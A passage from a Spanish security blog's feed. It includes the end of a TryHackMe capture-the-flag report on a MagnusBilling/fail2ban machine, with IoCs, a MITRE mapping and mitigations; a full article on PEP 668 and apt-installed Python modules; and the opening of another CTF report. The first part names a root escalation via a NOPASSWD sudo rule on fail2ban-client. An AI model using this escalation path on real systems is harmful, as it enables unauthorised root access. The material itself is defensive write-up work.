<h4 id="indicadores-en-host-host-based-iocs">Indicadores en Host (Host-Based IoCs)</h4>

<ul>
  <li><strong>Rutas de Archivos Sensibles Accesibles</strong>:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">/home/magnus/user.txt</code></li>
      <li><code class="language-plaintext highlighter-rouge">/root/root.txt</code></li>
    </ul>
  </li>
  <li><strong>Nuevos Procesos Anómalos</strong>: <code class="language-plaintext highlighter-rouge">/bin/bash</code> ejecutándose bajo el UID 0 derivado de las acciones maliciosas ejecutadas por el binario /<code class="language-plaintext highlighter-rouge">usr/bin/fail2ban-client</code>.</li>
</ul>

<hr />

<h3 id="mapeo-de-tácticas-y-técnicas-mitre-attck">MAPEO DE TÁCTICAS Y TÉCNICAS (MITRE ATT&amp;CK)</h3>

<table>
  <thead>
    <tr>
      <th>Fase de la Cadena</th>
      <th>ID Técnica</th>
      <th>Nombre de la Técnica</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Reconnaissance</td>
      <td>T1593</td>
      <td>Search Open Websites/Domains</td>
    </tr>
    <tr>
      <td>Reconnaissance</td>
      <td>T1593.003</td>
      <td>Search Open Websites/Domains: Code Repositories</td>
    </tr>
    <tr>
      <td>Execution</td>
      <td>T1059.004</td>
      <td>Command and Scripting Interpreter: Unix Shell</td>
    </tr>
    <tr>
      <td>Execution</td>
      <td>T1203</td>
      <td>Exploitation for Client Execution</td>
    </tr>
    <tr>
      <td>Privilege Escalation</td>
      <td>T1548.002</td>
      <td>Abuse Elevation Control Mechanism: Bypass User Account Control</td>
    </tr>
  </tbody>
</table>

<hr />

<h3 id="recomendaciones-y-mitigaciones-actionable-intelligence">RECOMENDACIONES Y MITIGACIONES (Actionable Intel­ligence)</h3>

<h4 id="mitigaciones-inmediatas-tácticas">Mitigaciones Inmediatas (Tácticas)</h4>
<ul>
  <li><strong>Parchado de Software</strong>: Gestionar la actualización del software MagnusBilling 7 a su última versión mantenida por los servidores oficiales para solventar la vulnerabilidad CVE-2023-30258. Por lo contrario actualizar a la versión de MagnusBilling 8, ambas tendrían que ir en conjunto con la actualización del servicio <em>Asterisk</em> a la versión correspondiente según la solicitud del software.</li>
  <li>
    <p><strong>Remoción de Permisos</strong>:</p>

    <ul>
      <li>Evitar otogar acceso <code class="language-plaintext highlighter-rouge">sudo</code> amplio o sin restricciones sobre <code class="language-plaintext highlighter-rouge">fail2ban-client</code> a usuarios no privilegiados o de confianza limitada.</li>
      <li>Si un usuario requiere gestionar <em>Fail2ban</em> mediante <code class="language-plaintext highlighter-rouge">sudo</code>, restringir las acciones a comandos específicos e inmutables dentro del archivo de configuración <code class="language-plaintext highlighter-rouge">sudoers</code> en lugar de otorgar wildcards (ALL).</li>
    </ul>
  </li>
  <li>
    <p><strong>Aislamiento y <em>Hardening</em> del Daemon</strong>:</p>

    <ul>
      <li>Definir comandos específicos mediante wrappers o scripts protegidos si se necesita automatización de ban/unban desde cuentas de servicios..</li>
    </ul>
  </li>
</ul>

<h4 id="mitigaciones-a-largo-plazo-estratégicas">Mitigaciones a Largo Plazo (Estratégicas)</h4>

<ul>
  <li>Revisar regularmente las entradas de <code class="language-plaintext highlighter-rouge">sudoers</code> para detectar sobreconseción de privilegios (<code class="language-plaintext highlighter-rouge">ALL = (root) NOPASSWD: /usr/bin/fail2ban-client</code>)</li>
  <li>Asegurarse que los archivos de configuración de <em>Fail2ban</em> localizados en <code class="language-plaintext highlighter-rouge">/etc/fail2ban</code> no puedan ser modificados por usuarios sin privilegios elevados.</li>
</ul>]]></content><author><name></name></author><category term="retos" /><category term="nmap" /><category term="gobuster" /><category term="magnusbilling" /><category term="fail2ban" /><category term="sudo" /><category term="linux" /><category term="thm" /><summary type="html"><![CDATA[📄 Descargar Informe Oficial (PDF)]]></summary></entry><entry><title type="html">Instalando módulos externos en python3 sin el uso de pip; PEP 668; incompatibilidades y soluciones</title><link href="https://xhellhoundx.github.io/articulos/instalar-modulos-python-sinpip" rel="alternate" type="text/html" title="Instalando módulos externos en python3 sin el uso de pip; PEP 668; incompatibilidades y soluciones" /><published>2026-08-19T00:00:00+00:00</published><updated>2026-08-19T00:00:00+00:00</updated><id>https://xhellhoundx.github.io/articulos/pip-668</id><content type="html" xml:base="https://xhellhoundx.github.io/articulos/instalar-modulos-python-sinpip"><![CDATA[<h2 id="introducción">Introducción:</h2>

<p>Alguna vez hemos estado desarrollando algún script o aplicación con Python (<em>espacialmente Python3</em>) sin la necesidad de usar, o simplemente porque no queremos, un entorno visual (venv) en adición con el uso de los <strong>módulos</strong> externos del lenguaje los cuales pueden variar dependiendo de la <strong>distro</strong> que estemos usando, tal vez tengas algunas preguntas (o por lo menos yo las tuve) como: <em>«¿Los módulos nativos varían dependiendo de la distro?»</em>, <em>«¿Necesito hacer pasos extra para instalar estos módulos?»</em>, <em>«¿Es diferente la instalación de los paquetes del sistema operativo de un entorno virtual (venv)?»</em>, y algunas otras preguntas que puedan surgir. La respuesta casi siempre será <strong>Si</strong>, hay diferencia entre la instalación de los paquetes para la distro (Sistema operativo base) y en el entorno virtual.</p>

<p>En este artículo te comentaré algunas de las diferencias, cómo instalar estos módulos o paquetes, problemas de compabibilidad y algunas buenas prácticas para que puedas instalar dependencias externas de forma predeterminada, para eso necesitamos abarcar algunos conceptos:</p>

<h2 id="términología">Términología:</h2>

<h4 id="distro">distro</h4>
<p>Podríamos definirlo como: la abreviatura coloquial de <strong>distribución de Linux</strong>, el cual es un sistema operativo basado en el núcleo (kernel) de Linux que agrupa software adicional (de terceros) para facilitar y complementar su uso. Estas distribuciones combinan el kernel con herramientas del proyecto <a href="https://www.gnu.org/gnu/thegnuproject.es.html"><strong>GNU</strong></a>, un sistema de gestión de paquetes (como <a href="https://wiki.debian.org/PackageManagement">APT</a> o <a href="https://wiki.archlinux.org/title/Pacman">Pacman</a>), aplicaciones/softwares preinstalados y un <em>entorno de escritorio</em> (como <a href="https://www.gnome.org/en/">GNOME</a>, <a href="https://kde.org/plasma-desktop/">KDE Plasma</a>, <a href="https://xfce.org/">XFCE</a>, entre otras). Estas combinaciones permiten a los usuarios instalar y mantener un sistema funcional sin la necesidad de compilar cada componente.</p>

<h4 id="módulo">módulo</h4>
<p>Los <strong>módulos nativos</strong>, también conocidos como <strong>módulos de la biblioteca estándar</strong> son archivos con extensión <code class="language-plaintext highlighter-rouge">.py</code> que se instalan por defecto con el lenguaje y proporcionan funcionalidades extra sin necesidad de descargas adicionales. Estos módulos permiten organizar el código en <a href="https://labex.io/es/tutorials/python-how-to-use-namespaces-in-python-398268"><strong>namespaces</strong></a> únicos facilitando la <strong>reutilización</strong> y la estructura lógica de los programas mediante la importación de funciones, clases y variables. La biblioteca estándar incluye más de 200 módulos preinstalados.</p>

<h4 id="paquete-linux">paquete (linux)</h4>
<p>Un <strong>paquete en Linux</strong> es un archivo comprimido que contine todos los archivos necesarios para instalar, actualizar o eliminar un software específico, junto con los <strong>metadatos</strong> y las <strong>instrucciones</strong> que indican al sistema cómo manejar dichos archivos. Estos archivos se agrupan para facilitar la gestión del software mediante <strong>gestores de paquetes</strong>. Los formatos dependen de la distribución: <strong>.deb</strong> Utilizado por Debian, Ubuntu y derivados, gestionados por herramientas como <strong>dpkg</strong> y <strong>apt</strong>; <strong>.rpm</strong> Utilizado por Red Hat, Fedora y SUSE, gestionado por <strong>rpm</strong>, y <strong>dnf</strong>/<strong>yum</strong>; Otros formatos como <code class="language-plaintext highlighter-rouge">.tar.gz</code> o sistemas como <strong>Snap</strong> y <strong>Flatpak</strong> que ofrecen paquetería independiente de la distribución.</p>

<h4 id="peps">PEPs</h4>
<p><strong>PEP</strong> significa <strong>Python Enhancement Proposals</strong> (español: <em>propuestas de mejoras de python</em>) son documentos de diseño que describen nuevas características, estándares o procesos para el lenguaje de programación <strong>Python</strong>. Actúan como el mecanismo principal para proponer mejoras, recopilar opiniones de la comunidad y documentar desiciones de diseño. Los PEP deben proporcionar especificación técnica consisa de la función y justificación de la misma.</p>

<blockquote>
  <p><em>Véase más en</em>:</p>

  <p><a href="https://peps.python.org/#introduction">https://peps.python.org/#introduction</a></p>
</blockquote>

<h4 id="venv-entorno-virtual---virtual-environment">venv (entorno virtual - <em>virtual environment</em>)</h4>
<p>Un <strong>entorno virtual</strong> en Python es un directorio autónomo y aislado que contiene una instalación independiente del intérprete de Python y sus propias bibliotecas o paquetes. Esta herramienta permite gestionar las dependencias de manera específica para cada proyecto, evitando conflictos entre versiones de librerías requeridas. Al estar aislado un entorno virtual actúa como una “burbuja” que no afecta la instalación global de Python en el SO.</p>

<h4 id="dependencias">dependencias</h4>
<p>Las <strong>dependencias de paquetes</strong> o <strong>dependencias de software</strong> son aplicaciones, bibliotecas o archivos adicionales que un software específico requiere para instalarse y funcionar correctamente. Cuando se intenta instalar el paquete, el sistema verifica la presencia de estos componentes; si faltan, el gestor de paquetes suele descargarlos automáticamente o informar un error para evitar incompatibilidades.</p>

<p><br /></p>

<hr />

<h2 id="origen-de-los-conflictos">Origen de los conflictos</h2>
<p>Un problema que tiene una larga trayectoria para los usuarios de Python en las distros de Linux (los sistemas operativos que tomaré para este artículo) es los conflictos entre los administradores de paquetes del sistema operativo y la gestión de los paquetes de Python (por ejemplo, <strong>pip</strong>).</p>

<p>Las herramientas de gestión de paquetes de Python siempre han tenido <em>valores predeterminados</em> para instalar paquetes en un contexto global en nuestro sistema operativo. Luego con la llegada y estandarización de los entornos virtuales, una solución para la mayoría (no todos) los casos es utilizar una herramienta de gestión de paquetes en un entorno virtual de Python.</p>

<p>Según lo dice el <a href="https://peps.python.org/pep-0668/"><strong>PEP 668</strong></a> las distribuciones de Linux Fedora, Debian y muchas otras, se usa el binario <code class="language-plaintext highlighter-rouge">/usr/bin/python3</code> que proporciona el comando <code class="language-plaintext highlighter-rouge">python3</code> porque no existen versiones binarias oficiales de Python para Linux/UNIX, así que todos los usuarios utilizan el intérprete <em>creado y enviado</em> con su distribución.</p>

<p>El ejecutable <code class="language-plaintext highlighter-rouge">python3</code> disponible para usuarios y como dependencia para otro software en la distribución suelen ser el mismo binario. Esto quiere decir que si un usuario instala un módulo usando un gestor de paquetes como <code class="language-plaintext highlighter-rouge">pip</code>, fuera del contexto de entorno virtual, este es visible ante el software por el lenguaje Python enviado a la distro. Si el paquete instalado (o una de sus dependencias) es una versión diferente, antigua o nueva, podría romper el software usado por la distro. Es decir, si un módulo instalado con <code class="language-plaintext highlighter-rouge">pip</code> instala o actualiza una de las librerías secundarias o dependencias a otra versión de la que está  instalada actualmente y que espera el sistema operativo, podría romper herramientas del sistema que dependan de esa versión específica.</p>

<p>Esto propone un problema crítico para la integridad de las distro, que tienen sus propios gestores de paquetes, los cuales, en muchos casos, son escritos en Python. Incluso cuando se intenta instalar con <code class="language-plaintext highlighter-rouge">sudo pip install</code> como root; o con <code class="language-plaintext highlighter-rouge">pip install --user</code> como usuario, presenta problemas ya que la locación de los módulos de <code class="language-plaintext highlighter-rouge">sys.path</code> siguen estando en <code class="language-plaintext highlighter-rouge">/usr/bin/python3</code>.</p>

<p>Hay un problema aún más grave con las instalaciones y dependencias del sistema: si itentas recuperar los daños causados por instalaciones externas hechas con <code class="language-plaintext highlighter-rouge">pip</code> en el sistema operativo con <code class="language-plaintext highlighter-rouge">sudo pip uninstall</code>, terminarás eliminando las dependencias necesarias para lo que ya existe, por lo que tendrás que reinstalar las dependencias eliminadas, lastimosamente esto ya no podrá recuperar el sistema en un estado consistente usando sólo el software que queda en él.</p>

<blockquote>
  <p><em>Véase más en</em>:</p>

  <p><a href="https://peps.python.org/pep-0668/">https://peps.python.org/pep-0668/</a></p>
</blockquote>

<p><br /></p>

<hr />

<h2 id="soluciones-basadas-en-debian">Soluciones (basadas en Debian)</h2>
<p>Según el <a href="https://peps.python.org/pep-0668/"><strong>PEP 668</strong></a> hay algunas alternativas para gestionar módulos externos, que aún así podrían presentar irregularidades en el sistema: crear un archivo marcador llamado <code class="language-plaintext highlighter-rouge">EXTERNALLY-MANAGED</code>, cuya presencia indica que las instalaciones de paquetes en el sistema operativo se administrarán por un medio externo a Python, como un gestor de paquetes aislado. Este archivo estaría especificado para residir en el <strong>stdlib</strong> (<em>standart library</em>) del esquema <strong>sysconfig</strong>, que marca el intérprete y la instalación en conjunto, no una ubcación particular en <code class="language-plaintext highlighter-rouge">sys.path</code>. Como ya se dijo anteriormente, hay dos problemas relacionados que corren el riesgo de romper un sistema gestionado externamente por Python: la instalación de una versión nueva incompatible de un paquete en todo el sistema que podría instalar el paquete en la cuenta de usuario pero en una ubicación estándar de Python.</p>

<p>El otro comportamiento aprovecha lo que existe en la puesta en marcha de <code class="language-plaintext highlighter-rouge">sysconfig</code> en distros que ya han encontrado este tipo de problemas, y direcciona el problema a un gestor de paquetes específico de Python que elimina o sobreescribe archivos que son propiedad de un gestor de paquetes externo.</p>

<p><strong>NOTA</strong>: Hasta este punto el <strong>PEP 668</strong> nos habla de forma clara y consisa, sin embargo he decidido exponer una solución basada en <strong>PoC</strong> (Proof of Concept; <em>español: Prueba de Concepto</em>) que me funcionó y es mucho más recomendable en el caso de presentar incompatibilidades, ya que Python interpretará de forma separada cada instalación hecha fuera del contexto estándar.</p>

<p>Para instalar un módulo externo de Python a nivel global en el sistema (fuera de entornos virtuales), la forma recomendada en versiones recientes de Linux depende del gestor de paquetes de la distribución (<strong>apt</strong> en este caso):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Descargar la información de todas las fuentes configuradas</span>
<span class="nb">sudo </span>apt update
<span class="c"># Descargar e instalar el módulo que se desee</span>
<span class="nb">sudo </span>apt <span class="nb">install </span>python3-&lt;módulo&gt;
</code></pre></div></div>

<p>Una vez se haya instalado el módulo, comprobamos que se haya quedado disponible para su uso:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-c</span> <span class="s1">'import &lt;módulo&gt;; print(&lt;módulo&gt;.__file__)'</span>
<span class="c"># Esto debería retornar una ruta tal como:</span>
/usr/lib/python3/dist-packages/&lt;módulo&gt;/__init__.py
</code></pre></div></div>

<p>La instalación de módulos externos a la <strong>stdlib</strong> de Python a través del gestor del paquete del sistema, responde a un modelo de administración donde el sistema operativo asume el control de las dependiencias, la estabilidad y ciclo de vida del software.</p>

<h4 id="1-integración-en-el-árbol-de-dependencias-del-so">1. Integración en el árbol de dependencias del SO</h4>
<p>A diferencia de <code class="language-plaintext highlighter-rouge">pip</code>, <code class="language-plaintext highlighter-rouge">apt</code> maneja una base de datos unificada de dependencias y código (<a href="https://linux.die.net/man/1/dpkg">dpkg</a>).</p>

<ul>
  <li><strong>Garantía de compatibilidad (Co-testing)</strong>: Los desarrolladores/mantenedores de la distribución auditan y prueban, en conjunto, las versiones de las librerías de Python para asegurar que funcionen de forma congruente entre sí y con las herramientas del sistema que las usan.</li>
</ul>

<blockquote>

  <p><a href="https://www.debian.org/doc/packaging-manuals/python-policy/">https://www.debian.org/doc/packaging-manuals/python-policy/</a></p>

  <p><em>Sección 2.1</em>: Removal of the unversioned packages</p>

  <p><em>Sección 2.2</em>: Unversioned python commands</p>
</blockquote>

<ul>
  <li><strong>Resolución de dependencias compartidas</strong>: Si un módulo de Python depende de librerías nativas en C/C++, <code class="language-plaintext highlighter-rouge">apt</code> resuelve e instala automáticamente tanto el módulo de Python como los paquetes compartidos del sistema, garantizando que la compilación o <a href="https://es.wikipedia.org/wiki/Enlace_din%C3%A1mico"><em>vinculación dinámica</em></a> no falle.</li>
</ul>

<blockquote>

  <p><a href="https://www.debian.org/doc/debian-policy/ch-relationships.html">https://www.debian.org/doc/debian-policy/ch-relationships.html</a></p>

  <p><em>Capítulo 7.2</em>: Binary Dependencies</p>

  <p><em>Capítulo 7.3</em>: Packages which break other packages</p>
</blockquote>

<h4 id="2-gestión-centralizada-de-seguridad-y-parches">2. Gestión centralizada de seguridad y parches</h4>
<ul>
  <li><strong>Parches de seguridad del desarrollador</strong>: Las distribuciones aplican parches de seguridad críticos a las versiones de librerías incluidas en sus repositorios sin alterar la versión principal del módulo. Esto evita romper la compatibilidad (<em>breaking changes</em>) mientras mantiene el sistema protegido.</li>
</ul>

<blockquote>

  <p><a href="https://www.debian.org/doc/manuals/developers-reference/pkgs.html#handling-security-related-bugs">5.9.5.1. Debian Security Tracker</a></p>

</blockquote>

<ul>
  <li><strong>Actualizaciones unificadas</strong>: Con una sola ejecución de <code class="language-plaintext highlighter-rouge">sudo apt update &amp;&amp; sudo apt upgrade</code>, se actualizan tanto el sistema operativo como todas las librerías externas de Python instaladas por esta vía.</li>
</ul>

<h4 id="3-trazabilidad-y-gobernanza-del-sistema-de-archivos">3. Trazabilidad y gobernanza del sistema de archivos</h4>
<ul>
  <li><strong>Ubicación estandarizada</strong>: <code class="language-plaintext highlighter-rouge">apt</code> ubica los módulos en <code class="language-plaintext highlighter-rouge">/usr/lib/python3/dist-packages/</code>, el cual es un directorio reservado para el código gestionado por la distribución, manteniendo intacto <code class="language-plaintext highlighter-rouge">/usr/local/lib/python3.x/dist-packages/</code> y los entornos del usuario.</li>
</ul>

<blockquote>
  <p><a href="https://refspecs.linuxfoundation.org/FHS_3.0/fhs/index.html">https://refspecs.linuxfoundation.org/FHS_3.0/fhs/index.html</a></p>

  <p><em>Capítulo 4.6</em>: /usr/lib: Libraries for programming and packages</p>

  <p><em>Capítulo 4.9</em>: /usr/local: Local hierarchy</p>
</blockquote>

<p><br /></p>

<blockquote>
  <p><a href="https://www.debian.org/doc/packaging-manuals/python-policy/#module-path">https://www.debian.org/doc/packaging-manuals/python-policy/#module-path</a></p>

  <p>Sección 3.6: Module Path</p>
</blockquote>

<p>Nótese este caso particular es precisamente lo que se conversa a fondo en el <strong>PEP 668</strong> sobre el <code class="language-plaintext highlighter-rouge">sys.path</code> que es donde se establecen los módulos que vienen de forma predeterminada con el lenguaje. Y para que quede mucho más claro voy a dejar plasmado un <strong>PoC</strong>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Imprimir a través de python3 el sys.path</span>
python3 <span class="nt">-c</span> <span class="s1">'import sys; print(sys.path)'</span>
<span class="c"># Esto tendría que dar como resultado:</span>
<span class="o">[</span><span class="s1">''</span>, <span class="s1">'/usr/lib/python314.zip'</span>, <span class="s1">'/usr/lib/python3.14'</span>, <span class="s1">'/usr/lib/python3.14/lib-dynload'</span>, <span class="s1">'/usr/local/lib/python3.14/dist-packages'</span>, <span class="s1">'/usr/lib/python3/dist-packages'</span><span class="o">]</span>
</code></pre></div></div>

<p>Además dejaré el <strong>PoC</strong> de un módulo externo llamado <strong>prompt_toolkit</strong>, el cual es muy interesante para mantener una <em>Shell</em> interactiva muy útil:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-lav</span> /usr/lib/python3/dist-packages/ | <span class="nb">grep </span>prompt_toolkit
drwxr-xr-x root root 4.0 KB Fri Aug 14 12:49:31 2026 prompt_toolkit
drwxr-xr-x root root 4.0 KB Fri Aug 14 12:49:31 2026 prompt_toolkit-3.0.52.dist-info
</code></pre></div></div>

<ul>
  <li><strong>Sin conflictos de permisos</strong>: Todos los archivos son instalados con permisos y propietarios correctos registrados en la base de datos de <code class="language-plaintext highlighter-rouge">dpkg</code>. Esto permite auditar los archivos de cualquier módulo con el comando <code class="language-plaintext highlighter-rouge">dpkg -L python3-&lt;módulo&gt;</code>, verificar su integridad con <code class="language-plaintext highlighter-rouge">dpkg -V</code>; o eliminar la librería por completo sin dejar archivos huérfanos o residuos de compilación.</li>
</ul>

<blockquote>
  <p><a href="https://manpages.debian.org/trixie/dpkg/dpkg.1.en.html">https://manpages.debian.org/trixie/dpkg/dpkg.1.en.html</a></p>

  <p><em>Manual de dpkg</em>: Documenta las funciones de auditoría del sistema de archivos (<code class="language-plaintext highlighter-rouge">-L</code> para listar archivos; <code class="language-plaintext highlighter-rouge">-V</code> para verificar sumas de comprobación)</p>
</blockquote>

<h4 id="4-determinación-en-los-despliegues-e-infraestructura">4. Determinación en los despliegues e infraestructura:</h4>
<ul>
  <li><strong>Entornos reproducibles sin compilación</strong>: Los paquetes de <code class="language-plaintext highlighter-rouge">apt</code> contienen binarios precompilados (incluidas las extensiones en C). En entornos de producción o contenedores, esto elimina la necesidad de contar con herramientas de compilación (<code class="language-plaintext highlighter-rouge">gcc</code>, <code class="language-plaintext highlighter-rouge">make</code>, <code class="language-plaintext highlighter-rouge">python3-dev</code>) en el sistema final, reduciendo la superficie de ataque y los tiempos de despliegue.</li>
</ul>

<blockquote>
  <p><a href="https://www.debian.org/doc/manuals/packaging-tutorial/packaging-tutorial.en.pdf">https://www.debian.org/doc/manuals/packaging-tutorial/packaging-tutorial.en.pdf</a></p>

  <p><em>Sección 3</em>: Building Packages &amp; Binary Wheels</p>
</blockquote>

<p><br /></p>

<blockquote>
  <p><a href="https://ubuntu.com/server/docs/">https://ubuntu.com/server/docs/</a></p>

  <p><a href="https://ubuntu.com/server/docs/tutorial/managing-software/#managing-software"><em>Getting Started</em>: System Basics: Managing software</a></p>

  <p><a href="https://ubuntu.com/server/docs/explanation/software/changing-package-files/#changing-package-files"><em>Getting Started</em>: System Basics: Customizing package files</a></p>

  <p><a href="https://ubuntu.com/server/docs/how-to/software/package-management/#package-management"><em>Managing your system</em>: Managing software: Package management</a></p>
</blockquote>

<p><br /></p>

<hr />

<h2 id="curiosidades-sugerencias-y-buenas-prácticas">Curiosidades, sugerencias y buenas prácticas</h2>

<p>Una <strong>curiosidad</strong> que considero buena abarcar en este artículo es “<strong>¿Por qué las diferentes distribuciones de Debian tienen módulos de Python diferentes?</strong>” y para eso empezaremos viendo un preámbulo de las distros basadas en Debian y cómo gestionan los módulos nativos de Python, luego dejaré algunos consejos para la correcta descarga de los paquetes que incluyen los módulos externos de Python. La siguiente información está basada en las dos distro que uso (<strong>Ubuntu 26.04 resolute</strong> y <strong>Parrot-Security 7.3 echo</strong>) y la diferencia entre los módulos nativos para cada una.</p>

<p>«<em>La diferencia en la cantidad de módulos de Python3 presentes por defecto entre Ubuntu y Parrot OS responde directamente al “propósito de diseño” (target audience), la “filosofía de empaquetado” y las “herramientas preinstaladas” en cada distribución, a pesar de que ambas compartan a Debian como base común</em>»</p>

<h3 id="preámbulo-el-ecosistema-debian-y-la-modularización-de-python">Preámbulo: El ecosistema Debian y la modularización de Python</h3>
<p>En el ecosistema Debian y sus derivados, el paquete base <code class="language-plaintext highlighter-rouge">python3</code> no incluye la biblioteca estándar completa de Python ni módulos adicionales de terceros por defecto. Debian aplica una política de <strong>granularidad estricta</strong>:</p>
<ul>
  <li><strong>Descomposición de la biblioteca estándar</strong>: Los módulos que en Python forman parte de la biblioteca estándar (como <strong>tkinter</strong>, <strong>gdbm</strong> o <strong>sqlite3</strong>) se separan en paquetes Debian independientes (<strong>python3-tk</strong>, <strong>python3-gdbm</strong>, <strong>python3-sqlite3</strong>).</li>
</ul>

<blockquote>
  <p><a href="https://www.debian.org/doc/packaging-manuals/python-policy/#main-packages"><em>Sección 3.2</em>:  Main packages</a></p>

</blockquote>

<ul>
  <li><strong>Inclusión basada en dependencias</strong>: Un módulo adicional de Python (<code class="language-plaintext highlighter-rouge">python3-&lt;módulo&gt;</code>) solo se instala en la imagen base de una distribución si una herramienta o paquete preinstalado en esa imagen lo declara formalmente como dependencia (<strong>Depends</strong> o <strong>Recommends</strong> en los metadatos de <strong>dpkg</strong>).</li>
</ul>

<blockquote>
  <p><a href="https://www.debian.org/doc/debian-policy/ch-controlfields.html#package-interrelationship-fields-depends-pre-depends-recommends-suggests-breaks-conflicts-provides-replaces-enhances"><em>Debian Policy Manual - Sección 5.6.10</em>: Package interrelationship fields</a></p>

</blockquote>

<h3 id="factores-clave-ubuntu-vs-parrot-security-os">Factores clave: Ubuntu vs Parrot Security OS</h3>

<h4 id="1-caso-de-uso-y-folosofía-de-la-distribución">1. Caso de uso y folosofía de la distribución:</h4>
<ul>
  <li>
    <p><strong>Ubuntu (Minimalismo y uso general)</strong>: Ubuntu está diseñado como un sistema operativo de propósito general (escritorio y servidor). Su filosofía para la instalación base es mantener la imagen lo más reducida posible (<em>minimal installation footprint</em>), incluyendo solo las dependencias estrictamente necesarias para el entorno de escritorio (GNOME) y la administración del sistema.</p>
  </li>
  <li>
    <p><strong>Parrot Security OS (Distribución especializada “Out-of-the-Box”)</strong>: Parrot está hecho como una plataforma lista para pruebas de penetración, análisis forense e ingeniería inversa (reverse engineering). Para garantizar que sus herramientas funcionen sin qrequerir conexión a internet en el campo, Parrot preinstala cientos de utilidades de seguridad (como marcos de trabajo, scanners, exploiters y scripts).</p>
  </li>
</ul>

<blockquote>
  <p><a href="https://parrotsec.org/docs/"><em>ParrotOS Documentation</em></a></p>

</blockquote>

<h4 id="2-árbol-de-dependencias-de-las-herramientas-preinstaladas">2. Árbol de dependencias de las herramientas preinstaladas</h4>
<p>Algunas de las razones por las cuales podemos encontrar más módulos de <code class="language-plaintext highlighter-rouge">Python en /usr/lib/python3/dist-packages/</code> en Parrot OS es la presencia de herramientas escritas en Python:</p>
<ul>
  <li>Muchas herramientas y utilidades de auditorias de seguridad (como scripts para recolectar información, frameworks de red, analizadores de tráfico y herramientas de análisis web) están escritas en Python.</li>
  <li>Al estar estas herramientas incluidas en la ISO por defecto, el gestor de paquetes <code class="language-plaintext highlighter-rouge">apt</code> descarga automáticamente todas sus dependencias en Python como en paquetes <code class="language-plaintext highlighter-rouge">.deb</code> preinstalados (por ejemplo, librerías de red, manipulación de paquetes, criptografía y parsing de datos).</li>
  <li>En Ubuntu, al no incluirse este conjunto de herramientas especializadas por defecto, esos módulos de Python simplemente no se instalan hasta que el usuario o un software específico los requiera.</li>
</ul>

<h4 id="3-metapaquetes-y-perfiles-de-instalación">3. Metapaquetes y perfiles de instalación</h4>
<p>Parrot OS utiliza metapaquetes (como <code class="language-plaintext highlighter-rouge">parrot-tools-full</code> o <code class="language-plaintext highlighter-rouge">parrot-pwn</code>) que agrupan cientos de software especializados y sus respectivas librerías de Python. Ubuntu en cambio, utiliza metapaquetes orientados al entorno de escritorio (<code class="language-plaintext highlighter-rouge">ubuntu-desktop</code> o <code class="language-plaintext highlighter-rouge">ubuntu-desktop-minimal</code>), donde las únicas librerías de Python requeridas son las que soportan utilidades internas o la interfaz gráfica del instalador.</p>

<h3 id="sugerencias-y-buenas-prácticas">Sugerencias y buenas prácticas</h3>
<p>Si queremos obtener la información de los módulos que están instalados en nuestra <code class="language-plaintext highlighter-rouge">stdlib</code> y adicionales podemos hacer el comando:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-c</span> <span class="s1">'print(help("modules"))'</span>
</code></pre></div></div>

<p>Como ya lo mencioné anteriormente, para instalar un módulo externo, debemos usar los comandos</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt update <span class="o">&amp;&amp;</span> <span class="nb">sudo </span>apt <span class="nb">install </span>python3-&lt;módulo&gt;
<span class="c"># Recuerden que siempre podemos usar el flag "-y" al final para que no lance el prompt que verifica la instalación</span>
</code></pre></div></div>

<p>Sin embargo, me gustaría aclarar que, antes de instalar un módulo extra verifiquemos la versión que estamos instalando contra la página oficial de dicho módulo  y esté <em>rolling</em> para nuestra versión de distro, por ejemplo, mostraré cómo sería instalar el módulo <code class="language-plaintext highlighter-rouge">python3-nmap</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt search python3-nmap
python3-nmap/resolute 0.7.1-0.2 all
  Python3 interface to the Nmap port scanner
</code></pre></div></div>

<p>Adicional hago una búsqueda para asegurarme que todo está corriendo bien y estoy descargando las versiones correctas:</p>

<figure>
    <img src="/assets/img/articles/2026-08-19-pip-668/python3-nmap.png" />
    <figcaption style="font-size: 0.85em; color: #8b949e; margin-top: 8px;">Figura 1: Búsqueda del paquete encontrado en APT contra la web oficial</figcaption>
</figure>

<figure>
    <img src="/assets/img/articles/2026-08-19-pip-668/python3-nmap-pkg.png" />
    <figcaption style="font-size: 0.85em; color: #8b949e; margin-top: 8px;">Figura 2: Página oficial del paquete, versión, recursos y mantenedores</figcaption>
</figure>

<p>En este punto ya tenemos una visión clara de lo que estamos por descargar, está mantenido por los servidores de <code class="language-plaintext highlighter-rouge">apt</code> y podemos proceder con la instalación del paquete:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt update <span class="o">&amp;&amp;</span> <span class="nb">sudo </span>apt python3-nmap
</code></pre></div></div>]]></content><author><name>Pedro Parmentier</name></author><category term="articulos" /><category term="python3" /><category term="pip" /><category term="PEP 668" /><category term="linux" /><summary type="html"><![CDATA[Introducción:]]></summary></entry><entry><title type="html">Informe Técnico: Máquina “Basic Pentesting” - TryHackme</title><link href="https://xhellhoundx.github.io/retos/basicpentesting" rel="alternate" type="text/html" title="Informe Técnico: Máquina “Basic Pentesting” - TryHackme" /><published>2026-08-10T00:00:00+00:00</published><updated>2026-08-10T00:00:00+00:00</updated><id>https://xhellhoundx.github.io/retos/basic-pentesting</id><content type="html" xml:base="https://xhellhoundx.github.io/retos/basicpentesting"><![CDATA[<!-- Enlace tipo botón -->
<p><a href="/assets/reports/cti-2026-1010-thm.pdf" class="tag" target="_blank" rel="noopener">
  📄 Descargar Informe Oficial (PDF)
</a></p>

<h1 id="informe-de-inteligencia-de-amenazas--máquina-basic-pentesting---plataforma-tryhackme">Informe de Inteligencia de Amenazas- Máquina “Basic Pentesting” - Plataforma “TryHackMe”</h1>
<p><br /></p>

